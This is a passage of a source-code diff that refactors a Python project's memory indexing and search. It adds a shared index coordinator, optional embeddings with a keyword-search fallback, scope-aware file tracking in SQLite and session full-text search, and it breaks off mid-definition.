b/flocks/memory/manager.py @@ -35,6 +35,90 @@ def _safe_resolve_memory_path(memory_root: Path, rel_path: str) -> Path: return resolved +class _MemoryIndexCoordinator: + """Own the process-wide Memory file indexer for one SQLite database.""" + + def __init__(self) -> None: + self.indexer: Optional[MemoryIndexer] = None + self.signature: Optional[tuple[Any, ...]] = None + self.initialized = False + self.sync_lock = asyncio.Lock() + self.write_lock = asyncio.Lock() + + def configure( + self, + *, + workspace_dir: Path, + provider_id: Optional[str], + embedding_model: str, + config: MemoryConfig, + ) -> MemoryIndexer: + """Create or reuse the one global file indexer.""" + signature = ( + provider_id, + embedding_model, + config.chunking.model_dump_json(), + config.batch.model_dump_json(), + config.cache.model_dump_json(), + tuple(config.extra_paths), + ) + if self.indexer is not None and self.signature == signature: + return self.indexer + + self.indexer = MemoryIndexer( + project_id="global", + workspace_dir=workspace_dir, + provider_id=provider_id, + embedding_model=embedding_model, + config=config, + ) + self.signature = signature + self.initialized = False + return self.indexer + + async def _sync_locked( + self, + *, + force: bool, + progress_callback: Optional[Callable[[MemorySyncProgress], None]], + ) -> Dict[str, Any]: + """Reconcile while the coordinator sync lock is held.""" + if self.indexer is None: + raise RuntimeError("Memory file indexer is not configured") + async with self.write_lock: + stats = await self.indexer.sync( + force=force, + progress_callback=progress_callback, + ) + self.initialized = True + return stats + + async def sync_on_start(self) -> Optional[Dict[str, Any]]: + """Run the initial reconciliation once for a shared indexer.""" + async with self.sync_lock: + if self.initialized: + return None + return await self._sync_locked( + force=False, + progress_callback=None, + ) + + async def sync( + self, + *, + force: bool = False, + progress_callback: Optional[ + Callable[[MemorySyncProgress], None] + ] = None, + ) -> Dict[str, Any]: + """Serialize global Memory index reconciliation.""" + async with self.sync_lock: + return await self._sync_locked( + force=force, + progress_callback=progress_callback, + ) + + class MemoryManager: """ Memory manager - orchestrates memory system @@ -47,6 +131,7 @@ class MemoryManager: # Singleton cache by project_id _instances: Dict[str, "MemoryManager"] = {} + _index_coordinators: Dict[str, _MemoryIndexCoordinator] = {} def __init__( self, @@ -67,11 +152,17 @@ def __init__( self.config = config # Provider configuration - self.provider_id = config.embedding.provider - if self.provider_id == "auto": + self._embedding_enabled = config.search.embedding.enabled + self._requested_provider = config.search.embedding.provider + self.provider_id: Optional[str] = ( + config.search.embedding.provider + if self._embedding_enabled + else None + ) + if self._embedding_enabled and self.provider_id == "auto": self.provider_id = "openai" # Default fallback - self.embedding_model = config.embedding.model + self.embedding_model = config.search.embedding.model # Components (lazy initialization) self.search_engine: Optional[HybridSearch] = None @@ -79,11 +170,19 @@ def __init__( # State self._initialized = False - self._dirty = False - self._sync_lock = asyncio.Lock() self._init_lock = asyncio.Lock() - self._write_lock = asyncio.Lock() - + self._index_coordinator: Optional[_MemoryIndexCoordinator] = None + + @classmethod + def _coordinator_for_active_db(cls) -> _MemoryIndexCoordinator: + """Return the global Memory index owner for the active database.""" + key = str(Storage.get_db_path().resolve()) + coordinator = cls._index_coordinators.get(key) + if coordinator is None: + coordinator = _MemoryIndexCoordinator() + cls._index_coordinators[key] = coordinator + return coordinator + @classmethod def get_instance( cls, @@ -111,25 +210,37 @@ def get_instance( if project_id in cls._instances: instance = cls._instances[project_id] - old_provider = instance.provider_id + old_enabled = instance._embedding_enabled + old_provider = instance._requested_provider old_model = instance.embedding_model instance.config = config instance.workspace_dir = Path(workspace_dir) - new_provider = config.embedding.provider - if new_provider == "auto": - new_provider = "openai" - new_model = config.embedding.model + new_enabled = config.search.embedding.enabled + new_provider = config.search.embedding.provider + new_model = config.search.embedding.model - if new_provider != old_provider or new_model != old_model: - instance.provider_id = new_provider + if ( + new_enabled != old_enabled + or new_provider != old_provider + or new_model != old_model + ): + instance._embedding_enabled = new_enabled + instance._requested_provider = new_provider + instance.provider_id = ( + ("openai" if new_provider == "auto" else new_provider) + if new_enabled + else None + ) instance.embedding_model = new_model instance._initialized = False instance.search_engine = None instance.indexer = None log.info("manager.config_changed", { "project_id": project_id, + "old_enabled": old_enabled, + "new_enabled": new_enabled, "old_provider": old_provider, "new_provider": new_provider, "old_model": old_model, @@ -157,25 +268,27 @@ async def initialize(self) -> None: log.info("manager.init.start", {"project_id": self.project_id}) try: - await Storage.init() - await Provider.init() - - provider = Provider.get(self.provider_id) - if not provider: - raise ValueError(f"Provider {self.provider_id} not found") + await Storage._ensure_init() - if not provider.supports_embeddings(): - for fallback_id in ["openai", "google"]: - fallback = Provider.get(fallback_id) - if fallback and fallback.supports_embeddings(): - log.warn("manager.provider.fallback", { - "from": self.provider_id, - "to": fallback_id, - }) - self.provider_id = fallback_id - break - else: - raise ValueError("No provider with embeddings support available") + if self._embedding_enabled: + await Provider.init() + provider = Provider.get(self.provider_id) if self.provider_id else None + if not provider or not provider.supports_embeddings(): + for fallback_id in ["openai", "google"]: + fallback = Provider.get(fallback_id) + if fallback and fallback.supports_embeddings(): + log.warn("manager.provider.fallback", { + "from": self.provider_id, + "to": fallback_id, + }) + self.provider_id = fallback_id + break + else: + log.info( + "manager.embedding.unavailable", + {"project_id": self.project_id}, + ) + self.provider_id = None self.search_engine = HybridSearch( project_id=self.project_id, @@ -184,22 +297,47 @@ async def initialize(self) -> None: config=self.config.query, ) - self.indexer = MemoryIndexer( - project_id=self.project_id, + coordinator = self._coordinator_for_active_db() + self._index_coordinator = coordinator + previous_indexer = coordinator.indexer + self.indexer = coordinator.configure( workspace_dir=self.workspace_dir, provider_id=self.provider_id, embedding_model=self.embedding_model, config=self.config, ) + if self.indexer is not previous_indexer: + for manager in self._instances.values(): + if manager._index_coordinator is coordinator: + manager.indexer = self.indexer self._initialized = True + if self.config.sync.on_session_start: + await coordinator.sync_on_start() + if ( + "session" in self.config.sources + and self.config.sync.sessions.enabled + ): + if Storage.session_search_available(): + await self._ensure_session_index_ready() + else: + log.warn( + "manager.session_search.disabled", + { + "project_id": self.project_id, + "reason": ( + "SQLite runtime does not support FTS5" + ), + }, + ) log.info("manager.init.complete", { "project_id": self.project_id, - "provider": self.provider_id, + "provider": self.provider_id or "fts", "model": self.embedding_model, }) except Exception as e: + self._initialized = False log.error("manager.init.failed", {"error": str(e)}) raise @@ -225,23 +363,125 @@ async def search( if not self._initialized: await self.initialize() - # Trigger sync if configured and dirty - if self.config.sync.on_search and self._dirty: - await self.sync(reason="search") - - # Execute search - results = await self.search_engine.search( - query=query, - max_results=max_results or self.config.query.max_results, - min_score=min_score or self.config.query.min_score, - sources=sources or [MemorySource(s) for s in self.config.sources], + selected_sources = ( + list(sources) + if sources is not None + else [MemorySource(source) for source in self.config.sources] ) + limit = ( + max_results + if max_results is not None + else self.config.query.max_results + ) + threshold = ( + min_score + if min_score is not None + else self.config.query.min_score + ) + + if sources is not None and MemorySource.SESSION in selected_sources: + await self._persist_session_source() + + # Filesystem tools and external editors can update Memory without going + # through MemoryManager. Reconcile on every search and let the indexer + # skip files whose content hash is unchanged. + if self.config.sync.on_search: + await self.sync(reason="search") + + results: List[MemorySearchResult] = [] + errors: List[Exception] = [] + successful_sources = 0 + + if MemorySource.MEMORY in selected_sources: + try: + results.extend( + await self.search_engine.search( + query=query, + max_results=limit, + min_score=threshold, + sources=[MemorySource.MEMORY], + ) + ) + successful_sources += 1 + except Exception as exc: + errors.append(exc) + log.warn("manager.search.memory_failed", {"error": str(exc)}) + + if MemorySource.SESSION in selected_sources: + try: + await self._ensure_session_index_ready() + from flocks.storage.session_search import session_fts_search + + raw_results = await session_fts_search( + db_path=Storage.get_db_path(), + project_id=self.project_id, + query=query, + max_results=limit + * self.config.query.hybrid.candidate_multiplier, + ) + results.extend( + MemorySearchResult( + path=result["path"], + start_line=result["start_line"], + end_line=result["end_line"], + score=result["score"], + snippet=result["text"][:700], + source=MemorySource.SESSION, + citation=result["citation"], + ) + for result in raw_results + if result["score"] >= threshold + ) + successful_sources += 1 + except Exception as exc: + errors.append(exc) + log.warn("manager.search.session_failed", {"error": str(exc)}) + + if successful_sources == 0 and errors: + from flocks.storage.session_search import ( + SessionSearchUnavailableError, + ) + + if len(errors) == 1 and isinstance( + errors[0], + SessionSearchUnavailableError, + ): + raise errors[0] + raise RuntimeError( + "All requested memory sources failed: " + + "; ".join(str(error) for error in errors) + ) + + deduplicated: Dict[str, MemorySearchResult] = {} + for result in sorted(results, key=lambda item: item.score, reverse=True): + key = f"{result.source.value}:{result.path}" + deduplicated.setdefault(key, result) + results = list(deduplicated.values())[:limit] # Decorate citations if enabled if self.config.citations != "off": results = decorate_citations(results, mode=self.config.citations) return results + + async def _persist_session_source(self) -> None: + """Persist explicit Session search opt-in without touching other config.""" + if "session" in self.config.sources: + return + from flocks.config.config_writer import ConfigWriter + + await asyncio.to_thread(ConfigWriter.enable_memory_source, "session") + self.config.sources.append("session") + + async def _ensure_session_index_ready(self) -> None: + """Run the one-time historical Session backfill when required.""" + if not self.config.sync.sessions.enabled: + return + from flocks.storage.session_search import ensure_session_index_ready + + await ensure_session_index_ready( + batch_size=self.config.sync.sessions.delta_messages, + ) async def read_file( self, @@ -315,7 +555,8 @@ async def write_memory( file_path = _safe_resolve_memory_path(memory_root, path) file_path.parent.mkdir(parents=True, exist_ok=True) - async with self._write_lock: + coordinator = self._index_coordinator or self._coordinator_for_active_db() + async with coordinator.write_lock: if append: needs_separator = file_path.exists() and file_path.stat().st_size > 0 with open(file_path, "a", encoding="utf-8") as f: @@ -325,14 +566,10 @@ async def write_memory( else: with open(file_path, "w", encoding="utf-8") as f: f.write(content) - - # Mark as dirty for next sync - self._dirty = True - log.info("manager.write", {"path": path, "append": append, "length": len(content)}) return path - + async def sync( self, reason: Optional[str] = None, @@ -353,27 +590,25 @@ async def sync( if not self._initialized: await self.initialize() - async with self._sync_lock: - log.info("manager.sync.start", { - "project_id": self.project_id, - "reason": reason, - "force": force, - }) - - try: - stats = await self.indexer.sync( - force=force, - progress_callback=progress_callback, - ) - - self._dirty = False - - log.info("manager.sync.complete", stats) - return stats - - except Exception as e: - log.error("manager.sync.failed", {"error": str(e)}) - raise + coordinator = self._index_coordinator or self._coordinator_for_active_db() + log.info("manager.sync.start", { + "project_id": self.project_id, + "reason": reason, + "force": force, + }) + + try: + stats = await coordinator.sync( + force=force, + progress_callback=progress_callback, + ) + + log.info("manager.sync.complete", stats) + return stats + + except Exception as e: + log.error("manager.sync.failed", {"error": str(e)}) + raise def status(self) -> MemoryProviderStatus: """ @@ -385,25 +620,29 @@ def status(self) -> MemoryProviderStatus: # TODO: Implement comprehensive status collection return MemoryProviderStatus( enabled=True, - provider=self.provider_id, + provider=self.provider_id or "fts", model=self.embedding_model, - requested_provider=self.config.embedding.provider, + requested_provider=self.config.search.embedding.provider, workspace_dir=str(self.workspace_dir), sources=[MemorySource(s) for s in self.config.sources], - dirty=self._dirty, cache={"enabled": self.config.cache.enabled}, fts={"enabled": True}, # Always available - vector={"enabled": True}, # Always available + vector={"enabled": self.provider_id is not None}, ) async def close(self) -> None: """Close and cleanup manager""" + coordinator = self._index_coordinator self._initialized = False self.search_engine = None self.indexer = None + self._index_coordinator = None self._instances.pop(self.project_id, None) + if coordinator is not None and not any( + manager._index_coordinator is coordinator + for manager in self._instances.values() + ): + for key, candidate in list(self._index_coordinators.items()): + if candidate is coordinator: + self._index_coordinators.pop(key, None) log.info("manager.closed", {"project_id": self.project_id}) - - def mark_dirty(self) -> None: - """Mark as needing sync""" - self._dirty = True diff --git a/flocks/memory/search/hybrid.py b/flocks/memory/search/hybrid.py index b4707e3f6..4dd9dd48d 100644 --- a/flocks/memory/search/hybrid.py +++ b/flocks/memory/search/hybrid.py @@ -24,7 +24,7 @@ class HybridSearch: def __init__( self, project_id: str, - provider_id: str, + provider_id: Optional[str], embedding_model: str, config: MemoryQueryConfig, ): @@ -69,14 +69,41 @@ async def search( }) try: - if not self.config.hybrid.enabled: - # Vector-only search - return await self._vector_search( + if self.provider_id is None: + results = await self._keyword_search( query=query, max_results=max_results, - min_score=min_score, sources=sources, ) + return [ + result + for result in results + if result.score >= min_score + ][:max_results] + + if not self.config.hybrid.enabled: + try: + return await self._vector_search( + query=query, + max_results=max_results, + min_score=min_score, + sources=sources, + ) + except Exception as exc: + log.warn( + "search.vector.failed_fts_fallback", + {"error": str(exc)}, + ) + results = await self._keyword_search( + query=query, + max_results=max_results, + sources=sources, + ) + return [ + result + for result in results + if result.score >= min_score + ][:max_results] # Hybrid search: parallel vector + keyword search candidate_limit = max_results * self.config.hybrid.candidate_multiplier @@ -97,13 +124,31 @@ async def search( ) # Handle exceptions - if isinstance(vector_results, Exception): + vector_failed = isinstance(vector_results, Exception) + keyword_failed = isinstance(keyword_results, Exception) + if vector_failed: log.warn("search.vector.failed", {"error": str(vector_results)}) vector_results = [] - if isinstance(keyword_results, Exception): + if keyword_failed: log.warn("search.keyword.failed", {"error": str(keyword_results)}) keyword_results = [] + + if vector_failed and keyword_failed: + raise RuntimeError("Both vector and keyword search failed") + + if keyword_results and not vector_results: + return [ + result + for result in keyword_results + if result.score >= min_score + ][:max_results] + if vector_results and not keyword_results: + return [ + result + for result in vector_results + if result.score >= min_score + ][:max_results] # Merge results merged = self._merge_results( @@ -140,6 +185,9 @@ async def _vector_search( ) -> List[MemorySearchResult]: """Execute vector similarity search""" try: + if self.provider_id is None: + raise RuntimeError("Embedding provider is not configured") + # Generate query embedding query_embedding = await Provider.embed( text=query, @@ -230,10 +278,7 @@ def _merge_results( kw_range = kw_max - kw_min normalised_keyword: List[tuple[MemorySearchResult, float]] = [] for r in keyword_results: - # When all scores are identical (including single-result case), - # use 0.5 as a neutral midpoint instead of 1.0 to avoid - # inflating keyword importance in the weighted combination. - norm = (r.score - kw_min) / kw_range if kw_range > 0 else 0.5 + norm = (r.score - kw_min) / kw_range if kw_range > 0 else 1.0 normalised_keyword.append((r, norm)) else: normalised_keyword = [] @@ -301,7 +346,7 @@ def decorate_citations( decorated = [] for result in results: - citation = format_citation(result) + citation = result.citation or format_citation(result) decorated.append(result.model_copy(update={"citation": citation})) return decorated diff --git a/flocks/memory/sync/indexer.py b/flocks/memory/sync/indexer.py index 614ba8176..c784436a7 100644 --- a/flocks/memory/sync/indexer.py +++ b/flocks/memory/sync/indexer.py @@ -6,16 +6,21 @@ from typing import List, Optional, Callable, Dict, Any from pathlib import Path -from datetime import datetime import asyncio +import math import uuid from flocks.provider import Provider -from flocks.storage import Storage, insert_chunks, get_embedding_from_cache, put_embedding_to_cache +from flocks.storage import ( + Storage, + get_embedding_from_cache, + put_embedding_to_cache, + replace_memory_file_index, +) from flocks.memory.types import MemoryFileEntry, MemoryChunk, MemorySyncProgress from flocks.memory.config import MemoryConfig -from flocks.memory.utils.hash import compute_hash, compute_text_hash -from flocks.memory.utils.text import is_memory_path +from flocks.memory.paths import classify_memory_path +from flocks.memory.utils.hash import compute_text_hash from flocks.memory.sync.chunking import TextChunker from flocks.utils.log import Log @@ -29,7 +34,7 @@ def __init__( self, project_id: str, workspace_dir: Path, - provider_id: str, + provider_id: Optional[str], embedding_model: str, config: MemoryConfig, ): @@ -78,7 +83,11 @@ async def sync( try: content_cache: Dict[str, str] = {} - memory_files = await self._scan_memory_files(_content_cache=content_cache) + indexed_files = await self._get_indexed_files() + memory_files = await self._scan_memory_files( + _content_cache=content_cache, + _indexed_files=None if force else indexed_files, + ) stats["files_scanned"] = len(memory_files) if progress_callback: @@ -88,12 +97,18 @@ async def sync( label="Scanning files" )) - indexed_files = await self._get_indexed_files() - for idx, file_entry in enumerate(memory_files): if not force: - indexed = indexed_files.get(file_entry.path) + indexed = indexed_files.get( + ( + file_entry.scope.value, + file_entry.scope_id, + file_entry.path, + ) + ) if indexed and indexed["hash"] == file_entry.hash: + if not self._metadata_matches(file_entry, indexed): + await self._update_file_metadata(file_entry) stats["files_skipped"] += 1 log.debug("indexer.file.skipped", {"path": file_entry.path}) content_cache.pop(file_entry.abs_path, None) @@ -113,7 +128,10 @@ async def sync( )) deleted_count = await self._clean_deleted_files( - current_files=[f.path for f in memory_files] + current_files=[ + (file.scope.value, file.scope_id, file.path) + for file in memory_files + ] ) if deleted_count > 0: log.info("indexer.cleaned", {"deleted": deleted_count}) @@ -126,15 +144,21 @@ async def sync( raise async def _scan_memory_files( - self, *, _content_cache: Optional[Dict[str, str]] = None, + self, + *, + _content_cache: Optional[Dict[str, str]] = None, + _indexed_files: Optional[ + Dict[tuple[str, str, str], Dict[str, Any]] + ] = None, ) -> List[MemoryFileEntry]: """ Scan workspace for memory files. - Filesystem I/O (glob, stat, read) is offloaded to a thread to avoid - blocking the event loop. When *_content_cache* is passed, file - contents read during hash calculation are stored there for later - reuse in ``_index_file``. + Filesystem I/O is offloaded to a thread to avoid blocking the event + loop. When *_indexed_files* is passed, files whose mtime and size still + match the stored manifest reuse the stored content hash without being + read. New or changed files are read once, hashed, and cached for + ``_index_file``. """ from flocks.config import Config @@ -153,8 +177,24 @@ def _add(fp: Path) -> None: resolved = str(fp.resolve()) if resolved in seen: return + classified = classify_memory_path(memory_root, fp) + if classified is None: + return seen.add(resolved) - files.append(self._create_file_entry(fp, memory_root, _content_cache=_content_cache)) + scope, scope_id, rel_path = classified + indexed_file = ( + _indexed_files.get((scope.value, scope_id, rel_path)) + if _indexed_files is not None + else None + ) + files.append( + self._create_file_entry( + fp, + memory_root, + _content_cache=_content_cache, + _indexed_file=indexed_file, + ) + ) for fp in memory_root.glob("**/*.md"): if fp.is_file(): @@ -180,58 +220,112 @@ def _add(fp: Path) -> None: return files def _create_file_entry( - self, file_path: Path, memory_root: Path, *, _content_cache: Optional[Dict[str, str]] = None, + self, + file_path: Path, + memory_root: Path, + *, + _content_cache: Optional[Dict[str, str]] = None, + _indexed_file: Optional[Dict[str, Any]] = None, ) -> MemoryFileEntry: """ Create file entry from path. - When *_content_cache* is provided the raw text is stored there keyed - by absolute path so that ``_index_file`` can reuse it without a second - disk read (fixes the TOCTOU + double-I/O issue). + An unchanged indexed file reuses its stored hash based on mtime and + size. Otherwise the raw text is read and optionally cached by absolute + path so that ``_index_file`` can reuse it without a second disk read. """ - try: - rel_path = str(file_path.relative_to(memory_root)) - except ValueError: - rel_path = file_path.name + classified = classify_memory_path(memory_root, file_path) + if classified is None: + raise ValueError(f"Unsupported Memory index path: {file_path}") + scope, scope_id, rel_path = classified stat = file_path.stat() - - content = file_path.read_text(encoding="utf-8") - content_hash = compute_text_hash(content) - - if _content_cache is not None: - _content_cache[str(file_path)] = content + if ( + _indexed_file is not None + and math.isclose( + _indexed_file["mtime"], + stat.st_mtime, + rel_tol=0, + abs_tol=1e-6, + ) + and _indexed_file["size"] == stat.st_size + ): + content_hash = str(_indexed_file["hash"]) + else: + content = file_path.read_text(encoding="utf-8") + content_hash = compute_text_hash(content) + if _content_cache is not None: + _content_cache[str(file_path)] = content return MemoryFileEntry( + scope=scope, + scope_id=scope_id, path=rel_path, abs_path=str(file_path), mtime_ms=stat.st_mtime * 1000, size=stat.st_size, hash=content_hash, ) + + @staticmethod + def _metadata_matches( + file_entry: MemoryFileEntry, + indexed_file: Dict[str, Any], + ) -> bool: + """Return whether current file metadata matches the stored manifest.""" + return ( + math.isclose( + indexed_file["mtime"], + file_entry.mtime_ms / 1000, + rel_tol=0, + abs_tol=1e-6, + ) + and indexed_file["size"] == file_entry.size + ) + + async def _update_file_metadata(self, file_entry: MemoryFileEntry) -> None: + """Refresh metadata after a content-preserving filesystem change.""" + async with Storage.connect(Storage.get_db_path()) as db: + await db.execute( + """ + UPDATE memory_files + SET mtime = ?, size = ? + WHERE scope = ? AND scope_id = ? AND path = ? + AND source = 'memory' AND hash = ? + """, + ( + file_entry.mtime_ms / 1000, + file_entry.size, + file_entry.scope.value, + file_entry.scope_id, + file_entry.path, + file_entry.hash, + ), + ) + await db.commit() - async def _get_indexed_files(self) -> Dict[str, Dict[str, Any]]: + async def _get_indexed_files( + self, + ) -> Dict[tuple[str, str, str], Dict[str, Any]]: """ Get indexed files from database Returns: Dict mapping path to file info """ - import aiosqlite - - indexed = {} + indexed: Dict[tuple[str, str, str], Dict[str, Any]] = {} try: async with Storage.connect(Storage.get_db_path()) as db: cursor = await db.execute(""" - SELECT path, hash, mtime, size + SELECT scope, scope_id, path, hash, mtime, size FROM memory_files - WHERE project_id = ? - """, (self.project_id,)) + WHERE source = 'memory' + """) rows = await cursor.fetchall() - for path, hash_val, mtime, size in rows: - indexed[path] = { + for scope, scope_id, path, hash_val, mtime, size in rows: + indexed[(scope, scope_id, path)] = { "hash": hash_val, "mtime": mtime, "size": size, @@ -263,29 +357,48 @@ async def _index_file( # Chunk text chunks = self.chunker.chunk_text(content, file_entry.path) stats["chunks"] = len(chunks) - + + # FTS indexing is always available. Embeddings are optional. + chunk_records: List[Dict[str, Any]] = [] if not chunks: - log.warn("indexer.no_chunks", {"path": file_entry.path}) - return stats - - # Generate embeddings for chunks - chunk_records = [] - - # Use batch processing if enabled - if self.config.batch.enabled and len(chunks) > 1: - chunk_records = await self._generate_embeddings_batch( - chunks, file_entry, stats - ) + log.debug("indexer.no_chunks", {"path": file_entry.path}) + elif self.provider_id is None: + chunk_records = [ + self._create_chunk_record(chunk, file_entry, None, None) + for chunk in chunks + ] else: - chunk_records = await self._generate_embeddings_sequential( - chunks, file_entry, stats - ) + try: + if self.config.batch.enabled and len(chunks) > 1: + chunk_records = await self._generate_embeddings_batch( + chunks, file_entry, stats + ) + else: + chunk_records = await self._generate_embeddings_sequential( + chunks, file_entry, stats + ) + except Exception as exc: + log.warn( + "indexer.embedding.failed_fts_fallback", + {"path": file_entry.path, "error": str(exc)}, + ) + chunk_records = [ + self._create_chunk_record(chunk, file_entry, None, None) + for chunk in chunks + ] - await self._delete_file_chunks(file_entry.path) - await insert_chunks(Storage.get_db_path(), chunk_records) - - # Update file entry in database - await self._update_file_entry(file_entry) + await replace_memory_file_index( + Storage.get_db_path(), + file_entry={ + "scope": file_entry.scope.value, + "scope_id": file_entry.scope_id, + "path": file_entry.path, + "hash": file_entry.hash, + "mtime": file_entry.mtime_ms / 1000, + "size": file_entry.size, + }, + chunks=chunk_records, + ) log.info("indexer.file.indexed", { "path": file_entry.path, @@ -392,14 +505,15 @@ def _create_chunk_record( self, chunk: MemoryChunk, file_entry: MemoryFileEntry, - embedding: List[float], - dims: int, + embedding: Optional[List[float]], + dims: Optional[int], ) -> Dict[str, Any]: """Create chunk record for database""" return { "id": str(uuid.uuid4()), + "scope": file_entry.scope.value, + "scope_id": file_entry.scope_id, "path": file_entry.path, - "project_id": self.project_id, "source": "memory", "start_line": chunk.start_line, "end_line": chunk.end_line, @@ -415,7 +529,7 @@ async def _get_cached_embedding( text_hash: str, ) -> Optional[tuple[List[float], int]]: """Get embedding from cache""" - if not self.config.cache.enabled: + if not self.config.cache.enabled or self.provider_id is None: return None return await get_embedding_from_cache( @@ -432,7 +546,7 @@ async def _put_cached_embedding( dims: int, ) -> None: """Put embedding to cache""" - if not self.config.cache.enabled: + if not self.config.cache.enabled or self.provider_id is None: return await put_embedding_to_cache( @@ -444,46 +558,10 @@ async def _put_cached_embedding( dims=dims, ) - async def _delete_file_chunks(self, path: str) -> None: - """Delete all existing chunks for a file before re-indexing.""" - import aiosqlite - - try: - async with Storage.connect(Storage.get_db_path()) as db: - await db.execute( - "DELETE FROM memory_chunks WHERE project_id = ? AND path = ?", - (self.project_id, path), - ) - await db.commit() - except Exception as e: - log.error("indexer.delete_chunks.failed", {"path": path, "error": str(e)}) - - async def _update_file_entry(self, file_entry: MemoryFileEntry) -> None: - """Update file entry in database""" - import aiosqlite - - now = datetime.now().timestamp() - - try: - async with Storage.connect(Storage.get_db_path()) as db: - await db.execute(""" - INSERT OR REPLACE INTO memory_files - (path, project_id, source, hash, mtime, size, indexed_at) - VALUES (?, ?, ?, ?, ?, ?, ?) - """, ( - file_entry.path, - self.project_id, - "memory", - file_entry.hash, - file_entry.mtime_ms / 1000, - file_entry.size, - now, - )) - await db.commit() - except Exception as e: - log.error("indexer.update_file.failed", {"path": file_entry.path, "error": str(e)}) - - async def _clean_deleted_files(self, current_files: List[str]) -> int: + async def _clean_deleted_files( + self, + current_files: List[tuple[str, str, str]], + ) -> int: """ Clean up deleted files from database @@ -493,15 +571,14 @@ async def _clean_deleted_files(self, current_files: List[str]) -> int: Returns: Number of deleted files """ - import aiosqlite - try: async with Storage.connect(Storage.get_db_path()) as db: cursor = await db.execute(""" - SELECT path FROM memory_files WHERE project_id = ? - """, (self.project_id,)) + SELECT scope, scope_id, path FROM memory_files + WHERE source = 'memory' + """) - indexed_paths = [row[0] for row in await cursor.fetchall()] + indexed_paths = [tuple(row) for row in await cursor.fetchall()] # Find deleted files deleted = [p for p in indexed_paths if p not in current_files] @@ -509,18 +586,32 @@ async def _clean_deleted_files(self, current_files: List[str]) -> int: if not deleted: return 0 - placeholders = ",".join("?" * len(deleted)) - params = (self.project_id, *deleted) - - await db.execute(f""" - DELETE FROM memory_chunks - WHERE project_id = ? AND path IN ({placeholders}) - """, params) - - await db.execute(f""" - DELETE FROM memory_files - WHERE project_id = ? AND path IN ({placeholders}) - """, params) + for scope, scope_id, path in deleted: + params = (scope, scope_id, path) + await db.execute( + """ + DELETE FROM memory_fts + WHERE scope = ? AND scope_id = ? + AND source = 'memory' AND path = ? + """, + params, + ) + await db.execute( + """ + DELETE FROM memory_chunks + WHERE scope = ? AND scope_id = ? + AND source = 'memory' AND path = ? + """, + params, + ) + await db.execute( + """ + DELETE FROM memory_files + WHERE scope = ? AND scope_id = ? + AND source = 'memory' AND path = ? + """, + params, + ) await db.commit() diff --git a/flocks/memory/types.py b/flocks/memory/types.py index 4e7211887..8d19387c1 100644 --- a/flocks/memory/types.py +++ b/flocks/memory/types.py @@ -52,7 +52,6 @@ class MemoryProviderStatus(BaseModel): # Statistics files: int = Field(0, description="Number of indexed files") chunks: int = Field(0, description="Number of indexed chunks") - dirty: bool = Field(False, description="Whether sync is needed") # Configuration workspace_dir: Optional[str] = Field(None, description="Workspace directory") @@ -68,11 +67,8 @@ class MemoryProviderStatus(BaseModel): class MemoryFileEntry(BaseModel): """File entry for indexing""" - scope: MemoryScope = Field( - MemoryScope.GLOBAL, - description="Memory visibility scope", - ) - scope_id: str = Field("global", description="Scope identifier") + scope: MemoryScope = Field(..., description="Memory visibility scope") + scope_id: str = Field(..., description="Scope identifier") path: str = Field(..., description="Relative path") abs_path: str = Field(..., description="Absolute path") mtime_ms: float = Field(..., description="Modification time (milliseconds)") diff --git a/flocks/session/features/memory.py b/flocks/session/features/memory.py index b20db5bbf..cc415b482 100644 --- a/flocks/session/features/memory.py +++ b/flocks/session/features/memory.py @@ -65,7 +65,10 @@ async def initialize(self) -> bool: try: config = await Config.get() if getattr(config, "memory", None) is None: - log.info("session.memory.no_config", {"session_id": self.session_id}) + log.info( + "session.memory.no_config", + {"session_id": self.session_id}, + ) memory_config = resolve_memory_config(config) self._manager = MemoryManager.get_instance( @@ -139,7 +142,7 @@ async def search( "session_id": self.session_id, "error": str(e), }) - return [] + raise async def write( self, diff --git a/flocks/session/message.py b/flocks/session/message.py index 0ca768a1a..9f3e3a627 100644 --- a/flocks/session/message.py +++ b/flocks/session/message.py @@ -484,11 +484,12 @@ async def quiesce_parts(cls, session_id: str, *, persist: bool) -> None: async with _session_locks.get(session_id): if persist and session_id in cls._parts_cache: - if cls._parts_storage_format.get(session_id) == "legacy": - await cls._persist_parts(session_id) - else: - for message_id in list(cls._parts_cache[session_id]): - await cls._persist_parts(session_id, message_id=message_id) + for message_id in list(cls._parts_cache[session_id]): + await cls._persist_indexed_state( + session_id, + message_id, + include_parts=True, + ) @classmethod def _cache_token(cls, session_id: str) -> tuple[int, int]: @@ -647,7 +648,10 @@ async def _flush_later() -> None: try: await asyncio.sleep(cls._PARTS_PERSIST_DEBOUNCE_MS / 1000) async with _session_locks.get(session_id): - await cls._persist_parts(session_id, message_id=message_id) + await cls._persist_parts( + session_id, + message_id=message_id, + ) except asyncio.CancelledError: pass except Exception as exc: @@ -1369,6 +1373,117 @@ async def _persist_parts(cls, session_id: str, *, message_id: Optional[str] = No await Storage.delete(cls._parts_item_key(session_id, stale_mid)) serialized.pop(stale_mid, None) persisted_mids.discard(stale_mid) + + @classmethod + async def _persist_indexed_state( + cls, + session_id: str, + message_id: str, + *, + include_messages: bool = False, + include_parts: bool = False, + delete_message: bool = False, + ) -> None: + """Persist canonical message data and its derived FTS row atomically.""" + set_entries = [] + delete_keys = [] + + if include_messages: + messages = cls._messages_cache.get(session_id, []) + serialized_messages = [] + for index, message in enumerate(messages): + normalized = cls._normalize_assistant_message(message) + if normalized is not message: + messages[index] = normalized + serialized_messages.append(normalized.model_dump()) + set_entries.append( + (f"{cls._MESSAGE_PREFIX}:{session_id}", serialized_messages, "json") + ) + + storage_format = cls._parts_storage_format.setdefault( + session_id, + "per_message", + ) + if include_parts: + all_parts = cls._parts_cache.get(session_id, {}) + serialized = cls._parts_serialized_cache.setdefault(session_id, {}) + if storage_format == "legacy": + serialized = { + mid: cls._serialize_message_parts(message_parts) + for mid, message_parts in all_parts.items() + } + cls._parts_serialized_cache[session_id] = serialized + set_entries.append( + ( + cls._parts_blob_key(session_id), + serialized, + "message_parts", + ) + ) + elif delete_message: + delete_keys.append(cls._parts_item_key(session_id, message_id)) + else: + serialized_one = cls._serialize_message_parts( + all_parts.get(message_id, []) + ) + serialized[message_id] = serialized_one + set_entries.append( + ( + cls._parts_item_key(session_id, message_id), + serialized_one, + "message_part", + ) + ) + + from flocks.session.session import Session + from flocks.storage.session_search import ( + delete_message_document, + upsert_session_document, + ) + + session = await Session.get_by_id_unfiltered(session_id) + message = next( + ( + item + for item in cls._messages_cache.get(session_id, []) + if item.id == message_id + ), + None, + ) + parts = list( + cls._parts_cache.get(session_id, {}).get(message_id, []) + ) + + async def 